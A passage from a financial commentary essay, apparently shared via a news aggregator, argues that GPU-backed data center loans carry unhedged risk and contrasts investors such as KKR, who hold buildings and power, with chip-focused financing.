This is where the operational reality from the first section returns. The lender exercising step-in rights inherits a colocation facility owned by someone else, with that facility’s own contracts and constraints. They inherit credentials and topology knowledge that historically lived with the borrower’s operations team, which walked out the door at default. They inherit a market where rental rates already moved 60% in one direction and 40% back the other in eighteen months, with no hedging instrument available. They inherit an asset class where 50 chips a day fail and somebody has to know which racks have been flaky for the last quarter.
The spread between face value and going-concern value is the entire risk that nobody has hedged.
The most telling positions in this market are the ones not being taken.
KKR has been the most aggressive private equity firm in data centers, with the CyrusOne acquisition alongside Global Infrastructure Partners in 2022 for $15 billion, the Global Technical Realty commitment in 2026 for $1.5 billion, and the STT GDC deal in February 2026 for $5.1 billion at a 75% stake. KKR’s digital infrastructure book is a central pillar of $186 billion in real assets. The firm is not in the AIP consortium that bought Aligned Data Centers, not in any xAI SPV, and not in CoreWeave’s debt facilities. KKR owns the buildings, the power, the cooling, and the land, the infrastructure layer that holds value regardless of which AI lab wins or which chip generation dominates.
Peter Thiel sold his entire NVIDIA stake in Q3 2025 and rotated into Apple and Microsoft. The chips are not the durable asset, and the financing structure pricing them as durable will eventually have to reckon with what the chips actually are.
Aircraft became financeable because someone built the registry, the appraisers, and the maintenance logs. Ships became financeable because someone built BICA. The interest premium on these deals exists because no one can answer two basic questions: Is the cluster still working? And: Will it still be working in three years?
No posts
To add this web app to your iOS home screen tap the share button and select "Add to the Home Screen".
10HN is also available as an iOS App
If you visit 10HN only rarely, check out the the best articles from the past week.
Visit pancik.com for more.